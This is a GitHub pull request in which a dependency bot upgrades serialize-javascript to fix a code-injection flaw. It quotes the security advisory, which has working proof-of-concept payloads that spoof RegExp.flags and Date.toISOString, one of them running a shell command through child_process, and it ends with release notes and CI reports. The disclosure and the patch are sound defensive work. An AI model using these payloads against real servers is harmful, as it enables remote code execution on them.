chore(deps): update dependency serialize-javascript to v7 [security] by renovate[bot] · Pull Request #499 · un-ts/prettier

renovate · 2026-03-02T21:52:47Z

This PR contains the following updates:

Package	Change	Age	Confidence
serialize-javascript	`^6.0.2` → `^7.0.0`

GitHub Vulnerability Alerts

GHSA-5c6j-r48x-rmvq

Impact

The serialize-javascript npm package (versions <= 7.0.2) contains a code injection vulnerability. It is an incomplete fix for CVE-2020-7660.

While RegExp.source is sanitized, RegExp.flags is interpolated directly into the generated output without escaping. A similar issue exists in Date.prototype.toISOString().

If an attacker can control the input object passed to serialize(), they can inject malicious JavaScript via the flags property of a RegExp object. When the serialized string is later evaluated (via eval, new Function, or <script> tags), the injected code executes.

const serialize = require('serialize-javascript');
// Create an object that passes instanceof RegExp with a spoofed .flags
const fakeRegex = Object.create(RegExp.prototype);
Object.defineProperty(fakeRegex, 'source', { get: () => 'x' });
Object.defineProperty(fakeRegex, 'flags', {
  get: () => '"+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"'
});
fakeRegex.toJSON = function() { return '@&#8203;placeholder'; };
const output = serialize({ re: fakeRegex });
// Output: {"re":new RegExp("x", ""+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"")}
let obj;
eval('obj = ' + output);
console.log(global.PWNED); // "CODE_INJECTION_VIA_FLAGS" — injected code executed!

#h2. PoC 2: Code Injection via Date.toISOString()

const serialize = require('serialize-javascript');
const fakeDate = Object.create(Date.prototype);
fakeDate.toISOString = function() { return '"+(global.DATE_PWNED="DATE_INJECTION")+"'; };
fakeDate.toJSON = function() { return '2024-01-01'; };
const output = serialize({ d: fakeDate });
// Output: {"d":new Date(""+(global.DATE_PWNED="DATE_INJECTION")+"")}
eval('obj = ' + output);
console.log(global.DATE_PWNED); // "DATE_INJECTION" — injected code executed!

#h2. PoC 3: Remote Code Execution

const serialize = require('serialize-javascript');
const rceRegex = Object.create(RegExp.prototype);
Object.defineProperty(rceRegex, 'source', { get: () => 'x' });
Object.defineProperty(rceRegex, 'flags', {
  get: () => '"+require("child_process").execSync("id").toString()+"'
});
rceRegex.toJSON = function() { return '@&#8203;rce'; };
const output = serialize({ re: rceRegex });
// Output: {"re":new RegExp("x", ""+require("child_process").execSync("id").toString()+"")}
// When eval'd on a Node.js server, executes the "id" system command

Patches

The fix has been published in version 7.0.3. https://github.com/yahoo/serialize-javascript/releases/tag/v7.0.3

Release Notes

yahoo/serialize-javascript (serialize-javascript)

`v7.0.3`

Compare Source

fix(CVE-2020-7660): fix for RegExp.flags and Date.prototype.toISOString (#207) 2e609d0
build(deps-dev): bump lodash from 4.17.21 to 4.17.23 (#206) 42b7cdb

`v7.0.2`

Compare Source

What's Changed

ci: bump GitHub Actions to latest versions by @okuryu in #203
ci: setup trusted publishing workflow by @okuryu in #204
release: v7.0.2 by @okuryu in #205

Full Changelog: yahoo/serialize-javascript@v7.0.1...v7.0.2

`v7.0.1`

Compare Source

What's Changed

Add warning about using this package to send arbitrary data to worker threads by @valadaptive in #200
security: sanitize function bodies by @redonkulus in #199
docs: tweak README by @okuryu in #201
release: v7.0.1 by @okuryu in #202

New Contributors

@redonkulus made their first contribution in #199

Full Changelog: yahoo/serialize-javascript@v7.0.0...v7.0.1

`v7.0.0`

Compare Source

Breaking Changes

requires Node.js v20+

What's Changed

Bump mocha from 10.2.0 to 10.4.0 by @dependabot[bot] in #178
Bump mocha from 10.4.0 to 10.5.2 by @dependabot[bot] in #183
Bump nyc from 15.1.0 to 17.0.0 by @dependabot[bot] in #184
Bump braces from 3.0.2 to 3.0.3 by @dependabot[bot] in #181
Bump mocha from 10.5.2 to 10.7.0 by @dependabot[bot] in #185
Bump mocha from 10.7.0 to 10.7.3 by @dependabot[bot] in #186
Bump nyc from 17.0.0 to 17.1.0 by @dependabot[bot] in #187
Bump mocha from 10.7.3 to 10.8.2 by @dependabot[bot] in #188
feat: test on Node.js 22 and built-in test runner by @okuryu in #192
Generate UID without randombytes dependency by @valadaptive in #196
release: v7.0.0 by @okuryu in #197

New Contributors

@valadaptive made their first contribution in #196

Full Changelog: yahoo/serialize-javascript@v6.0.2...v7.0.0

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codesandbox-ci · 2026-03-02T21:53:19Z

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socket-security · 2026-03-02T21:53:35Z

Review the following changes in direct dependencies. Learn more about Socket for GitHub.

Diff	Package	Supply Chain Security	Vulnerability	Quality	Maintenance	License
	serialize-javascript@6.0.2 ⏵ 7.0.4	⁺¹	⁺¹⁶		^-2

View full report

github-actions · 2026-03-02T21:54:07Z

📊 Package size report `No changes`

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_{🤖 This report was automatically generated by pkg-size-action}

pkg-pr-new · 2026-03-02T21:54:36Z

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commit: 7de588d

codecov · 2026-03-02T21:54:45Z

Codecov Report

✅ All modified and coverable lines are covered by tests.
✅ Project coverage is 86.69%. Comparing base (7a4346d) to head (bb29e64).

Additional details and impacted files

@@           Coverage Diff           @@
##           master     #499   +/-   ##
=======================================
  Coverage   86.69%   86.69%           
=======================================
  Files          10       10           
  Lines         203      203           
  Branches       57       57           
=======================================
  Hits          176      176           
  Misses         26       26           
  Partials        1        1

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github-actions · 2026-03-02T21:55:18Z

size-limit report 📦

Path	Size
packages/autocorrect/lib/index.js	477 B (0%)
packages/pkg/lib/index.js	758 B (0%)
packages/sh/lib/index.js	2.68 KB (0%)
packages/sql/lib/index.js	2.04 KB (0%)

sonarqubecloud · 2026-03-05T20:11:54Z

Quality Gate passed

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Measures
0 Security Hotspots
0.0% Coverage on New Code
0.0% Duplication on New Code

See analysis details on SonarQube Cloud

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chore(deps): update dependency serialize-javascript to v7 [security]

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